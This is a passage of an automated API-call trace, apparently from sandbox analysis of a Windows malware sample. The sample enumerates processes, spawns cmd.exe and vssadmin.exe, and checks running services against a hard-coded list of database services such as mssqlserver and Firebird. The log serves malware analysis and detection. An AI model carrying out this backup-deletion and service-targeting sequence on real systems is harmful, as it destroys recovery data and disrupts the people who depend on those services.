th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalyst-ps-grammar.exe")) returned 1 [0033.111] lstrlenW (lpString="catalyst-ps-grammar.exe") returned 23 [0033.111] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="serve-collaboration-semiconductor.exe")) returned 1 [0033.111] lstrlenW (lpString="serve-collaboration-semiconductor.exe") returned 37 [0033.111] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="batman_oliver.exe")) returned 1 [0033.112] lstrlenW (lpString="batman_oliver.exe") returned 17 [0033.112] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formation.exe")) returned 1 [0033.683] lstrlenW (lpString="formation.exe") returned 13 [0033.684] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="whole.exe")) returned 1 [0033.690] lstrlenW (lpString="whole.exe") returned 9 [0033.690] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pollution dominican rural.exe")) returned 1 [0033.691] lstrlenW (lpString="pollution dominican rural.exe") returned 29 [0033.691] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disorder.exe")) returned 1 [0033.692] lstrlenW (lpString="disorder.exe") returned 12 [0033.692] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenseselsewhere.exe")) returned 1 [0033.692] lstrlenW (lpString="expenseselsewhere.exe") returned 21 [0033.692] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nextel-feeds.exe")) returned 1 [0033.693] lstrlenW (lpString="nextel-feeds.exe") returned 16 [0033.693] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="photographymiscellaneousmeters.exe")) returned 1 [0033.694] lstrlenW (lpString="photographymiscellaneousmeters.exe") returned 34 [0033.694] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="perspective.exe")) returned 1 [0033.694] lstrlenW (lpString="perspective.exe") returned 15 [0033.694] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="demand-site.exe")) returned 1 [0033.695] lstrlenW (lpString="demand-site.exe") returned 15 [0033.695] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="attachment.exe")) returned 1 [0033.696] lstrlenW (lpString="attachment.exe") returned 14 [0033.696] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valid-permit.exe")) returned 1 [0033.697] lstrlenW (lpString="valid-permit.exe") returned 16 [0033.697] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knights.exe")) returned 1 [0033.697] lstrlenW (lpString="knights.exe") returned 11 [0033.697] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0033.698] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0033.698] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0033.699] lstrlenW (lpString="mobsync.exe") returned 11 [0033.699] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0033.699] lstrlenW (lpString="dllhost.exe") returned 11 [0033.699] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0033.700] lstrlenW (lpString="dllhost.exe") returned 11 [0033.700] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ohbdap.exe")) returned 1 [0033.701] lstrlenW (lpString="ohbdap.exe") returned 10 [0033.701] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0033.701] lstrlenW (lpString="cmd.exe") returned 7 [0033.701] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0033.702] lstrlenW (lpString="conhost.exe") returned 11 [0033.702] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0033.703] lstrlenW (lpString="vssadmin.exe") returned 12 [0033.703] Process32NextW (in: hSnapshot=0x160, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0033.704] CloseHandle (hObject=0x160) returned 1 [0033.704] Sleep (dwMilliseconds=0x1f4) [0034.397] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52fb98 [0034.398] EnumServicesStatusExW (in: hSCManager=0x52fb98, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 0 [0034.398] GetLastError () returned 0xea [0034.398] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x11e4) returned 0x509078 [0034.398] EnumServicesStatusExW (in: hSCManager=0x52fb98, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x509078, cbBufSize=0x11e4, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x509078, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 1 [0034.399] CloseServiceHandle (hSCObject=0x52fb98) returned 1 [0034.399] lstrlenW (lpString="Appinfo") returned 7 [0034.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0034.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0034.399] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0034.399] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0034.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0034.399] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0034.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0034.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0034.399] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0034.399] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0034.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0034.400] lstrlenW (lpString="AudioSrv") returned 8 [0034.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0034.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0034.400] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0034.400] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0034.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0034.400] lstrlenW (lpString="BFE") returned 3 [0034.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0034.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0034.400] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0034.400] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0034.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0034.400] lstrlenW (lpString="CryptSvc") returned 8 [0034.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0034.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0034.400] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0034.400] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0034.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0034.400] lstrlenW (lpString="CscService") returned 10 [0034.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0034.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0034.400] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0034.400] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0034.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0034.400] lstrlenW (lpString="DcomLaunch") returned 10 [0034.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0034.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0034.400] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0034.400] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0034.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0034.400] lstrlenW (lpString="Dhcp") returned 4 [0034.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0034.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0034.401] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0034.401] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0034.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0034.401] lstrlenW (lpString="Dnscache") returned 8 [0034.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0034.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0034.401] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0034.401] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0034.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0034.401] lstrlenW (lpString="DPS") returned 3 [0034.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0034.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0034.401] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0034.401] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0034.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0034.401] lstrlenW (lpString="eventlog") returned 8 [0034.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0034.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0034.401] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0034.401] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0034.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0034.401] lstrlenW (lpString="EventSystem") returned 11 [0034.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0034.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0034.401] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0034.401] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0034.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0034.401] lstrlenW (lpString="gpsvc") returned 5 [0034.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0034.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0034.401] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0034.401] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0034.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0034.402] lstrlenW (lpString="iphlpsvc") returned 8 [0034.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0034.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0034.402] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0034.402] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0034.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0034.402] lstrlenW (lpString="LanmanServer") returned 12 [0034.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0034.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0034.402] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0034.402] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0034.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0034.402] lstrlenW (lpString="LanmanWorkstation") returned 17 [0034.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0034.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0034.402] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0034.402] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0034.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0034.402] lstrlenW (lpString="lmhosts") returned 7 [0034.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0034.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0034.402] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0034.402] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0034.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0034.402] lstrlenW (lpString="MMCSS") returned 5 [0034.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0034.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0034.402] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0034.402] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0034.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0034.402] lstrlenW (lpString="MpsSvc") returned 6 [0034.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0034.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0034.402] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0034.403] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0034.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0034.403] lstrlenW (lpString="Netman") returned 6 [0034.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0034.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0034.403] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0034.403] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0034.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0034.403] lstrlenW (lpString="netprofm") returned 8 [0034.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0034.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0034.403] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0034.403] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0034.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0034.403] lstrlenW (lpString="NlaSvc") returned 6 [0034.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0034.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0034.403] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0034.403] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0034.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0034.403] lstrlenW (lpString="nsi") returned 3 [0034.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0034.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0034.403] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0034.403] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0034.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0034.403] lstrlenW (lpString="PcaSvc") returned 6 [0034.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0034.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0034.403] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0034.403] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0034.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0034.403] lstrlenW (lpString="PlugPlay") returned 8 [0034.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0034.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0034.404] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0034.404] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0034.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0034.404] lstrlenW (lpString="Power") returned 5 [0034.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0034.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0034.404] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0034.404] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0034.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0034.404] lstrlenW (lpString="ProfSvc") returned 7 [0034.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0034.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0034.404] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0034.404] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0034.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0034.404] lstrlenW (lpString="RpcEptMapper") returned 12 [0034.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0034.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0034.404] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0034.404] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0034.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0034.404] lstrlenW (lpString="RpcSs") returned 5 [0034.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0034.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0034.404] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0034.404] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0034.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0034.404] lstrlenW (lpString="SamSs") returned 5 [0034.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0034.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0034.404] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0034.404] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0034.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0034.405] lstrlenW (lpString="Schedule") returned 8 [0034.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0034.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0034.405] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0034.405] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0034.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0034.405] lstrlenW (lpString="SENS") returned 4 [0034.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0034.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0034.405] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0034.405] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0034.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0034.405] lstrlenW (lpString="ShellHWDetection") returned 16 [0034.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0034.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0034.405] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0034.405] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0034.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0034.405] lstrlenW (lpString="Spooler") returned 7 [0034.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0034.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0034.405] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0034.405] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0034.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0034.405] lstrlenW (lpString="SysMain") returned 7 [0034.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0034.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0034.405] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0034.405] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0034.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0034.405] lstrlenW (lpString="Themes") returned 6 [0034.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0034.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0034.406] lstrcmpiW 